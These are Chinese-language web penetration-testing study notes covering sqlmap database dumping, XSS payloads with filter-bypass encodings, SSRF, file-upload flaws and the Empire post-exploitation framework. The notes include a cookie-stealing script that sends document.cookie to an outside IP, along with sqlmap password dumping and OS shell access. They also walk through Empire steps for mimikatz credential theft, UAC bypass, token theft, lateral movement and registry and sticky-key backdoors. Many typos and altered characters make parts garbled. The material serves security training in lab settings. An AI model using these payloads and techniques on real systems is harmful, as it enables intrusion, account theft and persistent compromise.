web安全攻防笔记
1.SQLmap?
是一種開源的滲透測試工具,可以自動(dòng)檢測和利用SQL注入漏洞以及接入該數(shù)據(jù)庫的服務(wù)器。
支持的數(shù)據(jù)庫:MySQL,Oracle, PostgreSQL, SQL Server,? Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
(1)????? 安裝sqlmap前,需要先安裝Python3.X
Python Releases for Windows | Python.org
(2)????? 在環(huán)境變量path中,增加python3.x 安裝路徑
(3)????? 下載sqlmap并解壓縮:
地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py -u?http://xxx.xxx.xxx/
Python sqlmap.py –help 查看幫助 borp
?sqlmap支持五種不同的注入模式:
- UNION query SQL injection(可聯(lián)合查詢注入)
- uError-based SQL injection(報(bào)錯(cuò)型注入)
- uBoolean-based blind SQL injection(布爾型注入)
- uTime-based blind SQL injection(基于時(shí)間延遲注入)
- uStacked queries SQL injection(可多語句查詢注入)
2.sqlmap 常用命令參數(shù)
-u? /--url? 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 從文本中獲取多個(gè)目標(biāo)掃描,但是每一個(gè)一個(gè)url. sqlmap -m urllist.txt
-r 從文件中加載HTTP請求,這樣的話就不需要再去設(shè)定cookie,POST數(shù)據(jù)….
--dbs 返回當(dāng)前連接的數(shù)據(jù)庫
--current-db 返回當(dāng)前網(wǎng)站數(shù)據(jù)庫的數(shù)據(jù)庫用戶
-D 指定數(shù)據(jù)庫系統(tǒng)的數(shù)據(jù)庫名
--tables 列舉數(shù)據(jù)庫表
-T 指定數(shù)據(jù)庫表名
--columns 列舉數(shù)據(jù)庫表中的字段
-C 指定數(shù)據(jù)庫表中的字段名
--dump 獲取整個(gè)表的數(shù)據(jù)
3.設(shè)置回顯等級
參數(shù): -v默認(rèn)為1
0 只顯示python錯(cuò)誤以及嚴(yán)重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload
(級別越高顯示信息越多)
?4同時(shí)顯示HTTP請求。
5同時(shí)顯示HTTP響應(yīng)頭。
6同事顯示HTTP響應(yīng)頁面。
--data 把數(shù)以post方式提交,sqlmap會(huì)像檢測GET參數(shù)一樣檢測POST過去的參數(shù)。
--cookie (用于區(qū)分用戶)
可能會(huì)有漏洞,當(dāng)web登錄時(shí),抓取數(shù)據(jù)包。
?4.設(shè)置HTTP數(shù)據(jù)包相關(guān)參數(shù)
HTTP User-Agent 頭
參數(shù):--random-agent 會(huì)從sqlmap/txt/user-agents.txt中隨機(jī)產(chǎn)生User-Agent頭。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 檢查uesr-agent中的注入點(diǎn), level>=3才會(huì)去檢查user-agent頭是否存在注入漏洞
5.設(shè)定探測等級:--level
共有五個(gè)等級 默認(rèn)為1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 列數(shù)據(jù)庫管理用戶
--current-user 在數(shù)據(jù)庫中,目前連接的用戶
--is-dba 判斷當(dāng)前是否為管理,是的話返回true
--proxy 指定一個(gè)代理服務(wù)器? eg: -proxy?http://xxxxxx.8080
--os-shell 前提:需要網(wǎng)站的物理路徑,其次是需要有FIILE權(quán)限
?6.Sqlmap“六步”
第一步:判斷是否注是注入點(diǎn)
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)”
檢測該網(wǎng)站是否存在漏洞?? 白色加粗字體為注入點(diǎn) 也就是攻擊對象
?
第二步:獲取數(shù)據(jù)庫
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” –dbs
?
第三步:查看當(dāng)前應(yīng)用程序所用數(shù)據(jù)庫
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)”? --current-db
?
四:列出指定數(shù)據(jù)庫的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” -D”security(目標(biāo)數(shù)據(jù)庫)”—tables
?
五:讀取指定表中的字段名稱
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” -D”security”-T users –colunms
?
六:讀取指定字段內(nèi)容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” -D”security”-T users -C username,password –dump(dump=下載,脫庫)
?
?
判斷當(dāng)前數(shù)據(jù)庫用戶權(quán)限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” --is-dba
如果是TRUE? ,那么權(quán)限該用戶很大。
?
-roles 列出數(shù)據(jù)庫管理員角色
?如果當(dāng)前用戶有權(quán)限讀取包含所有用戶的表,輸入該命令會(huì)列舉出每個(gè)用戶的角色,
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
?
-referer HTTPReferer頭
當(dāng)–level參數(shù)設(shè)定為3或3以上時(shí),會(huì)嘗試對HTTP Referer注入。可以使用referer命令來欺騙,如--referer https://mp.mysite.net
-sql-shell 運(yùn)行自定義的sql語句
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
運(yùn)行任意操作系統(tǒng)命令:
選擇后臺語言
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
?
--os-cmd=whoami
--os-shell
(以你的電腦為跳板,對局域網(wǎng)進(jìn)行滲透,或留后門)
--file-read 從數(shù)據(jù)庫服務(wù)器中讀取文件? :當(dāng)前用戶有權(quán)限使用特定的函數(shù)時(shí),讀取的文件可以是文本,也可以是二進(jìn)制文件。
上傳文件到數(shù)據(jù)庫服務(wù)器中:
--file-write
--file-dest
讀取指定數(shù)據(jù)庫用戶的密碼?
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
SQLMAP進(jìn)階 常用tamper腳本
??apostrophemask.py 將引號替換為utf-8,用于過濾單引號 (易容術(shù))
適用數(shù)據(jù)庫:ALL
作用:將引號替換為utf-8,用于過濾單引號
使用腳本前:tamper("1 AND '1'='1")
使用腳本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
??multiplespaces.py? 圍繞sql關(guān)鍵字添加多個(gè)空格 去繞過
適用數(shù)據(jù)庫:ALL
作用:圍繞sql關(guān)鍵字添加多個(gè)空格
使用腳本前:tamper('1 UNION SELECT foobar')
使用腳本后:1 UNION SELECT foobar
?
3. Burp Suite工具
一.配置及代理設(shè)置
1.使用前配置
①選擇代理Proxy選項(xiàng)卡
②選擇設(shè)置option選項(xiàng)卡
③Edit Running打勾? 124.0.0.1:8080
配置成功
歷史訪問
?
二.功能模塊講解
?
?
模塊介紹
send to spider 發(fā)送給爬蟲模塊
do a active scan 進(jìn)行一次主動(dòng)掃描
send to intruder 發(fā)送給爆破模塊
send to repearter 發(fā)送給重放模塊
send to comparer 發(fā)送給比對模塊
send to decoder 發(fā)送給解碼模塊
request in browser 將請求在瀏覽器重放
?四:MYSQL與SQL注入
mysql知識點(diǎn)- 基本查詢語句
select+以下語句
?????? version() 數(shù)據(jù)庫版本
?????? database() 數(shù)據(jù)庫名
?????? user() 用戶名
?????? current_user() 當(dāng)前用戶名
?????? system_user() 系統(tǒng)用戶名
?????? @@datadir 數(shù)據(jù)庫路徑
?????? @@version_compile_os 操作系統(tǒng)版本
-order by(排序) 語法
-聯(lián)合查詢
order by 1—
order by 2—確定字段數(shù)
?? 使用UNION操作符注入另外一個(gè)select查詢,并將查詢結(jié)果附加在第一次查詢結(jié)果之后。第二次查詢能夠從另外一個(gè)完全不同的數(shù)據(jù)庫表中提取數(shù)據(jù)
? 注意: 相同的列結(jié)構(gòu)
????????????? ?需要有知道表結(jié)構(gòu),列結(jié)構(gòu)
?????? exists()函數(shù)猜解表明
???????information_schema 是一個(gè)mysql系統(tǒng)自帶的元數(shù)據(jù)庫
information_schema.SCHEMATA 查看所有的數(shù)據(jù)庫
五、 XSS基礎(chǔ)
1、什么是XSS?
?????? 中文名為跨站腳本攻擊,跨站腳本,(Cross-Site Scripting, XSS),當(dāng)目標(biāo)網(wǎng)站用戶在渲染HTML文檔的過程中,出現(xiàn)非預(yù)期的腳本指令并執(zhí)行時(shí),XSS就發(fā)生了。
2、攻擊者給予應(yīng)用惡意XSS代碼,導(dǎo)致用戶訪問應(yīng)用或服務(wù)器時(shí)執(zhí)行代碼,導(dǎo)致被XSS攻擊。
? 攻擊者→服務(wù)器→用戶(xss是一種迫使Web站點(diǎn)回顯可執(zhí)行代碼的攻擊技術(shù),而這些可執(zhí)行代碼由攻擊者提供、最終為用戶瀏覽器加載)
3、XSS的危害: 1.網(wǎng)絡(luò)釣魚,包括盜取各類用戶的賬號
??????????????????????????? 2.竊取用戶cookies資料,從而獲取用戶信息。
??????????????????????????? 3.獲取客戶端信息,IP/端口等
??????????????????????????? 4.劫持用戶瀏覽器會(huì)話,從而執(zhí)行任意操作
??????????????????????????? 5.強(qiáng)制彈出窗口。
??????????????????????????? 6.網(wǎng)頁掛馬,進(jìn)行惡意操作
??????????????????????????? 7.進(jìn)行大量的客戶端攻擊 如DDoS攻擊
??????????????????????????? 8.控制受害者機(jī)器向其他客戶端攻擊
4、XSS分類??
①反射型 :非持久型,調(diào)取用戶cookie或者進(jìn)行釣魚,常常為通過引誘用戶點(diǎn)擊一個(gè)惡意鏈接來實(shí)施攻擊。
(特點(diǎn):
① 主要用于將惡意腳本附加到URL地址的參數(shù)中
② 只在用戶單擊url時(shí)觸發(fā),而且只執(zhí)行一次,非持久化
③常用來竊取客戶端 Cookies
或進(jìn)行釣魚欺騙.
④常常為通過引誘用戶點(diǎn)擊一
個(gè)惡意鏈接來實(shí)施攻擊的)
name為可控參數(shù)
?
我們可以通過執(zhí)行惡意代碼彈窗,那么也能做些對我們有利的事情。
?????? 當(dāng)我們構(gòu)造好了如下惡意代碼,發(fā)送給受害者。
<script>alert(document.cookie)</script>
?????? 將會(huì)彈出用戶的cookie值,我們構(gòu)造js代碼,將該cookie值發(fā)送至我們自己的服務(wù)器,或者用XSS平臺接收該cookie(例如https://xsshs.cn/),我們就能通過該cookie非法登錄受害者的賬戶。
- 利用XSS彈出惡意警告框
??? <script>alert('hacked by cl4y')</script>
- ?網(wǎng)頁不停刷新
<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >
- 獲得cookie
<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>
- 劫持流量(跳轉(zhuǎn)到你的博客強(qiáng)行吸粉)
<script>window.location.href="http://www.cl4y.top";</script>
③dom型: 將XSS代碼嵌入dom文檔(每一個(gè)網(wǎng)頁),通過JS腳本對文檔對象進(jìn)行編輯從而修改頁面元素,增加漏洞。?
?xss平臺
1.獲取COOKIE(這是必須的最基本的功能)
2.獲取源碼(取當(dāng)前網(wǎng)頁的源碼)
3.截圖(可自己修改為連續(xù)截圖)
https://xss.pt
https://xssaq.com
- XSS利用——無任何過濾
- <scirpt>
<scirpt>alert(1);</script> - <img>
<img src=1 οnerrοr=alert("xss");>???????? //onerror等事件,可以調(diào)用js - <input>
<input οnfοcus="alert('xss');" autofocus> - <svg>
<svg οnlοad=alert("xss");> - <iframe>
<iframe οnlοad=alert("xss");></iframe>
<iframe src=javascript:alert('xss');></iframe>????? //src中支持偽協(xié)議 - <textarea>
<textarea οnfοcus=alert("xss"); autofocus>
- <scirpt>
- 往往用戶可控的參數(shù)都進(jìn)行了過濾,不會(huì)讓你用一個(gè)<script>標(biāo)簽就輕易攻擊成功
<script>shellcode</script>
XXS繞過:
- 關(guān)鍵字繞過
- 空格繞過
- 用/代替空格 <img/src="x"/οnerrοr=alert("xss");>
- 關(guān)鍵字繞過
- 大小寫繞過? <ImG sRc=x onerRor=alert("xss");>
- 利用其他標(biāo)簽
- 雙寫關(guān)鍵字? <imimgg srsrcc=x οnerrοr=alert("xss");>
- 字符拼接????? <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
???????????? <script>top["al"+"ert"](`xss`);</script>
???????????? - 利用函數(shù)進(jìn)行編碼繞過
- Unicode繞過
<img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函數(shù)進(jìn)行編碼繞過 - ASCII碼
<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> - Hex繞過
<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> - Base64編碼
<img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">????????????
- Unicode繞過
- 空格繞過
- 過濾括號
- 當(dāng)括號被過濾的時(shí)候可以使用throw來繞過
<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //異常處理 - 反引號
<img src=x οnerrοr=alert`1`>
- 當(dāng)括號被過濾的時(shí)候可以使用throw來繞過
- 過濾雙引號,單引號
- 反引號
<img src=1 οnerrοr=alert`1`;>
- 反引號
- js事件
- 當(dāng)某個(gè)位置的可控點(diǎn)在一個(gè)標(biāo)簽內(nèi),那么或許可以通過js事件來完成xss操作
- <img src=1 οnerrοr=alert`1`;>
?
- 混淆:
利用html標(biāo)簽格式的不嚴(yán)格、容錯(cuò)性。- 關(guān)鍵字中加空格
- 加TAB
- 回車
url編碼
<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
六.Cref漏洞
1,漏洞介紹:? 一種對網(wǎng)站的惡意使用。與 xss相比不大流行(因此對其防范相當(dāng)稀少,比xss更加具有危險(xiǎn)性。
?? 原理:利用目標(biāo)用戶身份,以目標(biāo)用戶名義執(zhí)行非法操作(以目標(biāo)用戶名義發(fā)郵件,消息,盜取目標(biāo)賬號,購買商品,虛擬貨幣轉(zhuǎn)賬等),會(huì)泄露目標(biāo)用戶的財(cái)產(chǎn)安全。
????? Ps:(CSRF漏洞經(jīng)常用來制作蠕蟲攻擊,刷SEO流量)
靶場實(shí)戰(zhàn):漏洞分析:
??????????? :
?
Ssrf漏洞:是一種由攻擊者構(gòu)造請求,由服務(wù)器發(fā)起請求的安全漏洞。與csrf最大的區(qū)別是一個(gè)是服務(wù)器,一個(gè)是由客戶端發(fā)起的。
在域名后增加url=語句,從而利用ssrf漏洞篡改腳本訪問的地址。
攻擊方式如下:
A,對外網(wǎng),服務(wù)器所在的內(nèi)網(wǎng),本地進(jìn)行端口掃描,獲取的banner信息。
B,攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序。
C,對內(nèi)網(wǎng)web應(yīng)用進(jìn)行指紋識別,識別企業(yè)內(nèi)部的資產(chǎn)信息。
D.攻擊內(nèi)外網(wǎng)的web應(yīng)用,主要是用HTTP請求就可以實(shí)現(xiàn)的攻擊(比如struts2,sqli
等等)
E,利用file協(xié)議讀取本地文件。
?SSRF漏洞利用:
測試地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php
頁面ssrf.php實(shí)現(xiàn)的功能獲取GET參數(shù)URL,然后將url的內(nèi)容返回網(wǎng)頁上。
如果將請求的網(wǎng)址篡改為http://www.baidu.com,則會(huì)顯示http://www.baidu.com的網(wǎng)頁內(nèi)容,但是,當(dāng)設(shè)置參數(shù)URL為內(nèi)網(wǎng)地址時(shí),則會(huì)泄露內(nèi)網(wǎng)信息。
訪問ssrf.php?Url=file://C:/wwindows/win.ini即可讀取本地文件。
?
Ssrf漏洞修復(fù)建議:
七,Empire
Empire是一款針對Windows平臺的、使用Powershell腳本作為攻擊載荷的滲透攻擊框架工具,具有從stager生成、提權(quán)到滲透維持的一系列功能。Empire實(shí)現(xiàn)了無需powshell.exe就可運(yùn)行Powershell代理的功能,還可以快速在后期部署漏洞利用模塊,其內(nèi)置模塊有鍵盤記錄、Mimikatz、繞過UAC、內(nèi)網(wǎng)掃描等,使用能夠躲避內(nèi)網(wǎng)檢測和大部分安全防護(hù)工具的查殺,簡單來說就有點(diǎn)類似Metasploit,是一個(gè)基于PowerShell的遠(yuǎn)程控制木馬。
Empire運(yùn)行在linux平臺上
官方下載地址,不過很久沒有更新,需要Python 2.6/2.7環(huán)境
https://github.com/EmpireProject/Empire
KALI示例:?????
git clone https://github.com/EmpireProject/Empire.git
?
然后安裝Empire的依賴,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若沒有安裝pip庫,則需要先通過apt-get install pip進(jìn)行安裝)
./install.sh
在安裝完依賴以后,返回上一級文件,啟動(dòng)Empire工具,命令如下:
cd ..
./empire
? 若啟動(dòng)失敗,則可能是因?yàn)橐蕾囄赐耆惭b好,只需要手動(dòng)通過pip install xxx安裝未安裝好的依賴即可。
啟動(dòng)時(shí)如果遇到如下報(bào)錯(cuò)
?
可以將urllib3版本降級
pip install urllib3==1.22
重新設(shè)定
bash reset.sh
基本使用會(huì)涉及如下內(nèi)容:
1.幫助文檔
2.設(shè)置監(jiān)聽
3.生成木馬
4.連接主機(jī)和基本使用
5.信息收集
6.權(quán)限提升
幫助文檔
?運(yùn)行Empire后,輸入help命令查看具體的使用幫助。
?
設(shè)置監(jiān)聽步驟如下:
listeners #進(jìn)入監(jiān)聽線程界面
uselistener #設(shè)置監(jiān)聽模式
info #查看具體參數(shù)設(shè)置
set #設(shè)置相應(yīng)參數(shù)
execute #開始監(jiān)聽
輸入Listeners命令進(jìn)入監(jiān)聽界面,按TAB鍵可以補(bǔ)全命令,按兩次TAB鍵或者h(yuǎn)elp可以顯示可以利用的模塊
輸入uselistener來設(shè)置采用何種監(jiān)聽模式,雙擊TAB可以看到有以下可以使用的模式。
?
設(shè)置監(jiān)聽
這里采用http監(jiān)聽模式,輸入uselistener http。
然后輸入info命令查看具體參數(shù)設(shè)置。其中Require為True的值都需要被設(shè)置。
?
通過set配置參數(shù),并提供execeute執(zhí)行,需要注意的是Empire不同于Metasploit,Empire命令是區(qū)分大小寫的
通過back返回上一級,使用listeners或者list可以查看所設(shè)置的監(jiān)聽器
生成木馬
輸入usestager后 空格加TAB鍵 查看可以設(shè)置的木馬模式
木馬就類似Metasploit中的payload,其中multi為通用模塊,osx是Mac操作系統(tǒng)的模塊,剩下的是Windows的模塊。
我們以 windows/launcher_bat為例,給大家說下過程,其他的使用都類似
要使用launcher_bat,首先輸入usestager windows/launcher_bat,然后輸入info命令查看詳細(xì)參數(shù)
?
通過set配置參數(shù),我們需要設(shè)置一個(gè) Listener 參數(shù),即監(jiān)聽的名字(前面我們給監(jiān)聽起得一個(gè)名字test1),通過execeute執(zhí)行,
文件會(huì)生成到 tmp 目錄下,如下所示在目標(biāo)主機(jī)上運(yùn)行生成的launcher.bat,輸入 agents 可以查看已經(jīng)獲得的會(huì)話
?
我們再介紹另一種生成木馬方式:launcher
如果只需要簡單的powershell 代碼,在設(shè)置完相應(yīng)的參數(shù)后,可直接在監(jiān)聽器(listeners)中輸入命令 launcher <language> <Listener Name> 生成base64編碼的代碼
然后復(fù)制生成的payload 在目標(biāo)機(jī)器上執(zhí)行
可以看到有會(huì)話生成,輸入 agents 可以查看已經(jīng)獲得的會(huì)話
連接主機(jī)和基本使用
?在目標(biāo)主機(jī)反彈成功以后,可以通過agents命令列出當(dāng)前已連接的主機(jī),這里要注意如果有帶有(*)的是已提權(quán)成功的主機(jī)。
然后使用interact命令連接主機(jī),可以使用Tab鍵補(bǔ)全主機(jī)的名稱,連接成功以后可以通過rename修改會(huì)話名稱
可以通過help查看可以使用的命令
輸入help agentcmds可以查看可供使用的常用命令輸入help agentcmds可以查看可供使用的常用命令可以通過pwd查看當(dāng)前目錄
upload可以上傳文件,通過cat查看文件內(nèi)容
使用某些CMD命令時(shí),要使用“shell+命令的形式” ,如下
?
Empire主要用于后滲透。所以信息收集是比較常用的一個(gè)模塊,可以使用searchmodule命
令搜索需要使用的模塊,這里通過鍵如usemodule collection然后按Tab查看完整的列表
1.屏幕截圖
?輸入以下命令,然后執(zhí)行即可
?2.鍵盤記錄
?輸入以下命令usemodule collection/keylogger,通過info可以查看詳細(xì)信息,execute執(zhí)行
???? 可以通過jobs kill JOB_name停止鍵盤記錄
3.ARP掃描
Empire也內(nèi)置了ARP掃描模塊,輸入以下命令即可使用該模塊,這里要設(shè)置Range參數(shù)
?4.查找域管登陸服務(wù)器IP
在內(nèi)網(wǎng)滲透中,要想拿到內(nèi)網(wǎng)中某臺機(jī)器的域管權(quán)限,方法之一就是找到域管登錄的機(jī)器,然后橫向滲透進(jìn)去,竊取域管權(quán)限,從而拿下整個(gè)域,以下這個(gè)模塊就是用來查找域管登錄的機(jī)器的。
使用模塊usemodule situational_awareness/network/powerview/user_hunter
權(quán)限提升
提權(quán),顧名思義就是提高自己在服務(wù)器中的權(quán)限,就比如在Windows中,你本身登陸的用戶是Guest,通過提權(quán)后,就會(huì)變成超級管理員,擁有了管理Windows的所有權(quán)限。以下是常見幾種提權(quán)方式:
1.Bypass UAC
UAC介紹
UAC(UserAccount Control,用戶賬戶控制)簡言之就是在Vista及更高版本中通過彈框進(jìn)一步讓用戶確認(rèn)是否授權(quán)當(dāng)前可執(zhí)行文件來達(dá)到阻止惡意程序的目的。
為了遠(yuǎn)程執(zhí)行目標(biāo)的exe或者bat可執(zhí)行文件繞過此安全機(jī)制,以此叫BypassUAC(不進(jìn)行彈窗直接運(yùn)行執(zhí)行文件)
輸入以下命令,設(shè)置Listener參數(shù),運(yùn)行execute,會(huì)發(fā)現(xiàn)成功上線了一個(gè)新的反彈
返回agents,通過list可以看到有一個(gè)新的會(huì)話,并且?guī)в?,說明提權(quán)成功。
2.PowerUp
?Empire內(nèi)置了PowerUp的部分工具,用于系統(tǒng)提權(quán),主要有Windows錯(cuò)誤系統(tǒng)配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8種提權(quán)方式,輸入以下命令,然后通過tab鍵查看完整列表
查找系統(tǒng)中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模塊一樣,該模塊可以執(zhí)行所有腳本檢查系統(tǒng)漏洞
我們可以通過BypassUAC進(jìn)行提權(quán)
3.通過溢出漏洞
本地溢出提權(quán)首先要有服務(wù)器的一個(gè)普通用戶權(quán)限,攻擊者通常會(huì)向服務(wù)器上傳本地溢出程序,在服務(wù)器端執(zhí)行,如果系統(tǒng)存在漏洞,那么將溢出Administrator權(quán)限。
這里我們使用ms16-032來提權(quán),輸入以下命令即可通過溢出漏洞進(jìn)行提橫向滲透,就是在已經(jīng)攻占部分內(nèi)網(wǎng)主機(jī)的前提下,利用既有的資源嘗試獲取更多的憑據(jù)、更高的權(quán)限,進(jìn)而達(dá)到控制整個(gè)內(nèi)網(wǎng)、擁有最高權(quán)限、發(fā)動(dòng)類似 APT 的目的。
在橫向滲透中,最先得到的主機(jī),以及之后新得到的主機(jī),會(huì)成為突破口、跳板。如同一個(gè)不斷擴(kuò)大的圓形,獲得的主機(jī)越多,圓能觸及之處越大,讓其周遭的「橫向」部分由未知成為已知。
1.令牌竊取
我們在獲取到服務(wù)器權(quán)限后,可以使用內(nèi)置mimikatz獲取系統(tǒng)密碼,執(zhí)行完畢后輸入creds命令查看Empire列舉的密碼。如下圖所示
從這里發(fā)現(xiàn)有域用戶曾在此服務(wù)器上登錄,此時(shí)可以竊取域用戶身份,然后進(jìn)行橫向移動(dòng)
首先先來竊取身份,使用命令pth<ID>,這里的ID號就是creds下的CredID號,我們這里來竊取administrator的身份令牌,執(zhí)行pth 7命令
使用steal_token PID命令就竊取了該身份令牌了,如下圖所示。
我們先嘗試訪問域內(nèi)另一臺主機(jī)WIN7-X86的“C$”,順利訪問,如下圖所示。
輸入revtoself命令可以將令牌權(quán)限恢復(fù)到原來的狀態(tài)
2.會(huì)話注入
我們也可以使用usemodule management/psinject模塊來進(jìn)程注入,獲取權(quán)限,輸入info查看參數(shù)設(shè)置,如下圖所示。
設(shè)置下Listeners和ProcID這2個(gè)參數(shù),這里的ProcID還是之前的CMD的1380,運(yùn)行后反彈回一個(gè)域用戶權(quán)限shell。
3.Invoke-PsExec
PsExec是我在Metasploit下經(jīng)常使用的模塊,還有pstools工具包當(dāng)中也有psexec,缺點(diǎn)是該工具基本殺毒軟件都能檢測到,并會(huì)留下日志,而且需要開啟admin$ 445端口共享。優(yōu)點(diǎn)是可以直接返回SYSTEM權(quán)限。這里我們要演示的是Empire下的Invoke-Psexec模塊。
使用該模塊的前提是我們已經(jīng)獲得本地管理員權(quán)限,甚至域管理員賬戶,然后以此來進(jìn)一步持續(xù)滲透整個(gè)內(nèi)網(wǎng)。
我們測試該模塊前看下當(dāng)前agents,只有一個(gè)IP為192.168.31.251,機(jī)器名為WIN7-64的服務(wù)器,如下圖所示。
現(xiàn)在使用模塊usemodule lateral_movement/invoke_psexec滲透域內(nèi)另一臺機(jī)器WIN7-X86,輸入info查看設(shè)置參數(shù),如下圖所示。
這里要設(shè)置下機(jī)器名和監(jiān)聽,輸入下列命令,反彈成功
輸入agents命令查看當(dāng)前agents,多了一個(gè)IP為192.168.31.158,機(jī)器名為WIN7-X86的服務(wù)器
攻擊者在獲取服務(wù)器權(quán)限后,通常會(huì)用一些后門技術(shù)來維持服務(wù)器權(quán)限,服務(wù)器一旦被植入后門,攻擊者如入無人之境。服務(wù)器重啟后,我們的后門程序仍能觸發(fā)繼續(xù)運(yùn)行。這里講一些window服務(wù)端常見的后門技術(shù)。
1.權(quán)限持久性劫持shift后門
shitf后門,其實(shí)就是使用了windows系統(tǒng)的粘滯鍵功能,當(dāng)連按5次shift鍵的時(shí)候就會(huì)啟動(dòng)粘滯鍵程序。然后后門程序替換掉這個(gè)程序,然后通過按5次就來啟動(dòng)后門。
輸入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模塊,可以輸入info查看參數(shù),set設(shè)置相關(guān)參數(shù)
運(yùn)行后,在目標(biāo)主機(jī)遠(yuǎn)程登錄窗口按5次shift即可觸發(fā)后門,有一個(gè)黑框一閃而過,如下圖所示
這時(shí)看我們的Empire已經(jīng)有反彈代理上線
2.注冊表注入后門
使用usemodule persistence/userland/registry模塊,運(yùn)行后會(huì)在目標(biāo)主機(jī)啟動(dòng)項(xiàng)添加一個(gè)命令,可以輸入info查看信息
按如下命令設(shè)置其中幾個(gè)參數(shù),如下圖所示。
重啟目標(biāo)主機(jī),用戶登錄系統(tǒng)后,會(huì)有反彈會(huì)話生成
在實(shí)際滲透中,當(dāng)拿到webshell上傳的Metasploit客戶端無法繞過目標(biāo)主機(jī)的殺軟時(shí),可以使用PowerShell來繞過,也可以執(zhí)行Empire的Payload來繞過,成功之后再用Empire的模塊將其反彈回Metasploit。
首先在Metasploit我們使用multi/script/web_delivery模塊,輸入如下命令
使用usemodule code_execution/invoke_metasploitpayload模塊,輸入info看下參數(shù),如下圖所示
這里我們只需修改1個(gè)參數(shù)URL,
修改為前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y
按下列命令設(shè)置完畢,然后執(zhí)行
Metasploit收到Empire反彈回來的shell,如下圖所示。
文件上傳漏洞概述:在現(xiàn)代互聯(lián)網(wǎng)的我web應(yīng)用程序中,上傳文件是一種常見的功能,上傳文件的時(shí)候如果服務(wù)器腳本語言對上傳的文件進(jìn)行嚴(yán)格的過濾就有可能上傳惡意文件,從而控制整個(gè)網(wǎng)站,甚至是服務(wù)器。
存在原因:傳文件時(shí),如果服務(wù)器代碼,對客戶端上傳的文件進(jìn)行驗(yàn)證和過濾,就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp,aspx,php,jsp等格式的文件)
危害:非法用戶可以利用上傳的惡意腳本文件控制整個(gè)網(wǎng)站,。甚至控制服務(wù)器,這個(gè)惡意文件又稱webS核力量,也可將腳本稱為一種網(wǎng)頁后門,WebShell叫阿奔具有強(qiáng)大功能,比如查看服務(wù)器中的文件,執(zhí)行系統(tǒng)命令。
2,常見的上傳檢測規(guī)則:
A,服務(wù)器MIME類型檢測Content-type內(nèi)容
B,客戶端JavaScript檢測 檢測文件擴(kuò)展名
C,服務(wù)器目錄路經(jīng)檢測path參數(shù)
D,服務(wù)器文件名拓展名檢測estension內(nèi)容
E,服務(wù)器文件內(nèi)容檢測(是否合法或含有惡意代碼)?????????????
邏輯漏洞:
就是指攻擊者鯉魚精業(yè)務(wù)的設(shè)計(jì)缺陷,獲取敏感信息或破壞業(yè)務(wù)的完整性,
越權(quán)訪問:水平和垂直越權(quán) 。
越權(quán)訪問攻擊測試鏈接:http://172.16.200.12/yuequan/test2/admin/viewpassword.
WAF:(web應(yīng)用防火墻)是通過執(zhí)行一系列對HTTP/HTTPS的安全策略來專門為web應(yīng)用提供保護(hù)。
WAF類型: 軟件型(直接檢測服務(wù)器上是否存在WEBshell)
硬件型(支持多種部署,在旁聽監(jiān)聽模式時(shí)只記錄攻擊不進(jìn)行攔截)
云waf(一般以反向代理的形式工作,通過配置NS記錄干活CNAME記錄,是對網(wǎng)站的請求優(yōu)先經(jīng)過WAF主機(jī),經(jīng)過WAF過濾后,將認(rèn)為無害的請求報(bào)文在傳輸給實(shí)際網(wǎng)站服務(wù)器進(jìn)行請求)
